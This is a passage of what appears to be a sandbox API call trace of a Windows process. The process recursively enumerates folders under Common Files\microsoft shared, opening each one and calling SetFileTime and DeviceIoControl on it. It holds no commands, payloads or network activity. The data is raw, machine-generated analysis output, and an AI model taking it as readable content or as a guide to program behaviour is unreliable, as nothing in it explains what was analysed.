ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0087.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.306] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0087.306] GetLastError () returned 0x12 [0087.306] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.306] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.306] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.306] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0087.306] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0087.306] GetLastError () returned 0x12 [0087.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.307] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.307] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0087.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.308] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.308] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.308] NtClose (Handle=0x16c) returned 0x0 [0087.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.309] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.309] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0087.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppInfoDocument", cAlternateFileName="")) returned 1 [0087.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="")) returned 1 [0087.310] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="")) returned 0 [0087.310] GetLastError () returned 0x12 [0087.310] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.310] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.310] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.310] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0087.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.310] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.311] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.311] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.311] NtClose (Handle=0x16c) returned 0x0 [0087.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.312] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb", cAlternateFileName="")) returned 1 [0087.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d370) returned 1 [0087.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb948 [0087.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.317] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185f4200, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x185f4200, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb", cAlternateFileName="")) returned 1 [0087.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb968 [0087.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304cd8 [0087.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.319] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTARemotingServer.tlb", cAlternateFileName="")) returned 1 [0087.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb988 [0087.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304de0 [0087.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 0 [0087.321] GetLastError () returned 0x12 [0087.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.321] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb", cAlternateFileName="")) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185f4200, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x185f4200, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb", cAlternateFileName="")) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTARemotingServer.tlb", cAlternateFileName="")) returned 1 [0087.321] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 1 [0087.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.324] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.324] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.325] NtClose (Handle=0x16c) returned 0x0 [0087.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1304ee8) returned 1 [0087.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ee8 [0087.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1304ff0 [0087.326] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0087.327] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.327] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8fb0600, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8fb0600, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x7b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTARemotingServer.dll", cAlternateFileName="")) returned 1 [0087.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.328] RtlAllocateHeap 